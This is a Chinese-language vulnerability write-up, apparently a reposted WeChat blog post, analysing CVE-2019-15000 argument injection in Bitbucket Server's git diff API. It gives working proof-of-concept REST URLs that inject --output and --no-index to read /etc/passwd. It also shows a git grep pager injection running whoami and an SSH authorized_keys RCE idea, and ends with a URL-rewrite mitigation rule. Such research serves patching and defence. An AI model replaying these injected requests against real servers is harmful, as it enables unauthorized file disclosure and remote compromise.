前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【技术分享】Bitbucket|gitlab 参数注入漏洞

【技术分享】Bitbucket|gitlab 参数注入漏洞

作者头像
安全乐观主义
发布2019-11-20 18:48:59
1.4K0
发布2019-11-20 18:48:59
举报
文章被收录于专栏:安全乐观主义安全乐观主义

漏洞研究的工作价值编号漏洞简介漏洞详情分析工作原理思路构造poc是否可以RCE?漏洞影响:修复方案参考资料:漏洞研究的工作价值

先不谈这个具体的漏洞,讲讲为什么要持续进行跟进复现漏洞的研究?

落脚点在知道实践,推动工作。成长无捷径可走,经风雨,见世面才能壮筋骨、长才干。要做起而行之的行动者,不做坐而论道的清谈客。

类似google project zero这样的顶尖研究团队,其日常的漏洞研究有如下产出:

1.确保准确评估漏洞的安全影响2.发现同一类相似漏洞3.提高漏洞利用技术水平和知识面4.理解漏洞并给出准确的缓解方案5.根据漏洞发现攻击面

结合实际,可以为企业建立的价值有:

1.缩减评估攻击面2.精确修复漏洞3.更好的蓝军验证规则4.提供应急响应处置水平5.缓解漏洞6.提高内部知识库建设7.为决策者提供安全动态。

不要执着学习技术细节,技术视野,技术功底也要刻意培养。做对这件事对于甲乙方安全工程师的价值在于:

开阔:搞安全要广泛吸收其他领域知识。如果不能成为多领域的专家,就不能成为安全领域的专家。安全做的是关于保护的事情,所以必须对这些事情的根本情况有较为广泛的理解。 务实:安全人员最多的错误就是将安全保护的目标设为远远超过所要保护的资产的价值或该资产的风险,需要专注于提供support业务而不是阻碍的安全解决方案。

通过复现漏洞,组织可以实现改进内部的漏洞扫描工具,更自动化的发现漏洞,提高规则的覆盖面。个人成长方面笔者的方法论是学习-求真-创新-求真,在学习的目的上求得真实的道理,再将创新的成果以求是的态度去探索其中规律性的东西,并在这个规律的指导下,向更高层次的创新冲刺,以求在不断学习的过程中成为一名卓越的HACKER。

闲话少叙,下面开始CVE-2019-15000,bitbucket及gitlab的参数注入漏洞介绍,作为知识的总结。

编号

CVE-2019-15000

漏洞简介

Atlassian Bitbucket Server是一款Git代码托管解决方案。该方案能够管理并审查代码,具有差异视图、JIRA集成和构建集成等功能。Atlassian Bitbucket Data Center是Atlassian Bitbucket的数据中心版本。Atlassian Bitbucket Server和Atlassian Bitbucket Data Center中存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。

漏洞详情

bitbucket的早期版本称为stash,其作用类似于gitlab,一般用于企业级的代码仓库托管,在diff commit等服务器端功能存在参数注入漏洞,导致了任意文件读取和命令执行。

分析

在出现漏洞预警后,笔者第一时间分析了hotfix,修复方案显示临时阻断措施为判断url参数是否存在--。

diff发现其存在如下文件存在版本异同

显然得知触发漏洞点存在于相关的git cli命令处理commit参数处。

工作原理

使用burpsuite或者wireshark抓包。以下是git commit后push,同stash的api进行交互时的抓包记录。

接下来是通过git diff发现,通过firefox拦截包,对commitid后添加单引号。

发现报错,到了这一步,漏洞雏形已经基本出现了。bitbucket使用了原生的git命令,处理客户端发出的rest请求。

通过启用日志辅助调试。cd到/Atlassian/ApplicationData/Bitbucket/log,即可tail -f atlassian-bitbucket-profiler.log | grep "bin/git",方便查看原生命令进行调试。

思路

举一而反三,类似的git系统出现过git grep命令执行漏洞。git grep 通过

代码语言:javascript
复制
git grep -i --line-number '--open-files-in-pager=whoami;' master

可以执行任意命令,这里参数所注入的pager是指分页器:

Git 几乎所有命令都提供分页器,即当命令输出超过一页时,自动在每页输出后暂停,可以按空格继续显示,按 q 退出。默认是less。

构造poc

diff commit处的git实际执行的命令如下:

代码语言:javascript
复制
/usr/bin/git diff -C --color=never -U10000 --dst-prefix=dst:// --src-prefix=src:// 可控commit 可控commit -- 可控文件名

查阅diff tree相关的命令,通过注入--no-index可以指定不在索引目录的本机任何文件。尝试用diff功能比较显示出来/etc/passwd里的内容。

代码语言:javascript
复制
/usr/bin/git diff -C --color=never -U10000 --dst-prefix=dst:// --src-prefix=src:// --no-index -- -- /etc/passwd

但是git文档中说明“The shell and other UIs might require additional quoting to protect special characters and to avoid word splitting”。我们遇到的第个问题是在命令行解析器中,--的意思是此后的部分不会再包含参数选项(option)而是作为参数内容,作为参数的内容自然不会有危害了。

所以我们需要绕过--的限制,要打造poc,需要巧妙地首先生成名为--的文件,这样生成-- --,”欺骗“git将第一个--当做选项,后注入的--当做参数。首先采用注入--output参数可以导出文件,

代码语言:javascript
复制
/rest/api/latest/projects/POC/repos/exp/commits/002e15e973ece816c8ecb38a5c42c9fab7f14960/diff/1.tt?at=master&since=--output=--&avatarSize=64&markup=false&contextLines=10000&withComments=true&autoSrcPath=false

执行该请求,在主机git根目录处生成内容为空的--文件。

最终完整的poc的第二步就是:

代码语言:javascript
复制
/rest/api/latest/projects/POC/repos/exp/commits/--/diff//etc/passwd?at=master&since=--no-index&avatarSize=64&markup=false&contextLines=10000&withComments=true&autoSrcPath=false

是否可以RCE?

另外的一个思路是通过git archive命令,使用--output导出id_rsa.pub到.ssh目录生成authorized_keys,利用方式类似于redis。

漏洞影响:

漏洞影响可以参考发现者的hackerone,通过参数注入实现文件操作和RCE,如果你有更好的想法,欢迎同我交流。

the second problem existed due to “Improper parameter sanitization on Gitaly”. Assigned as CVE-2019-14944, the flaw could give rise to numerous remote code execution and privilege escalation vulnerabilities. This problem affected GitLab CE/EE versions 10.0 and later.

GitLab has credited William Bowling (vakzz[1]) for reporting this flaw. It also seems that this vulnerability made the researcher win a bounty of $12,000, as visible on his HackerOne account.

修复方案

请参考https://confluence.atlassian.com/bitbucketserver/bitbucket-server-security-advisory-2019-09-18-976762635.html,官方补丁只支持 4.0.0以上,打了补丁之后就是这样的效果

低版本可以考虑使用临时规避方案,简单粗暴,在stash安装目录下的atlassian-stash/WEB-INF/urlrewrite.xml文件里,增加rule:

代码语言:javascript
复制
<rule>     <!-- cve-2019-15000 -->     <from>^/rest/api/.*</from><condition type="parameter" name="since">--output|--no-index</condition>          <to>/</to> </rule>

需要重启stash才生效。

在文章写完之后等待公司修复期间,我偶然搜索资料看到了《对基于Git的版本控制服务的通用攻击面的探索》的ppt,更深入了解了一些漏洞的背景。git类的参数注入最早由长亭科技的黎荣熙提出,后来研究者肯定脱离不了ppt的框架思路,面对新的漏洞都没有公式套路可言,后来者唯有钦佩于先行者的思路,但是William Bowling依可以发现bitbucket类似的漏洞。这就是为什么我要开立公众号进行通用漏洞交流:因为早看到ppt会让我事半功倍,更快速地为公司开发出“热补丁”,这也呼应了我在前文提到的:开阔和务实对于安全工作的重要性。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全乐观主义 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 编号
  • 漏洞简介
  • 漏洞详情
  • 分析
  • 工作原理
  • 思路
  • 构造poc
  • 是否可以RCE?
  • 漏洞影响:
  • 修复方案
相关产品与服务
代码托管
CODING 代码托管(CODING Code Repositories,CODING-CR)是为开发者打造的云端便捷代码管理工具,旨在为更多的开发者带去便捷、高效的开发体验,全面支持 Git/SVN 代码托管,包括代码评审、分支管理、超大仓库等功能。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档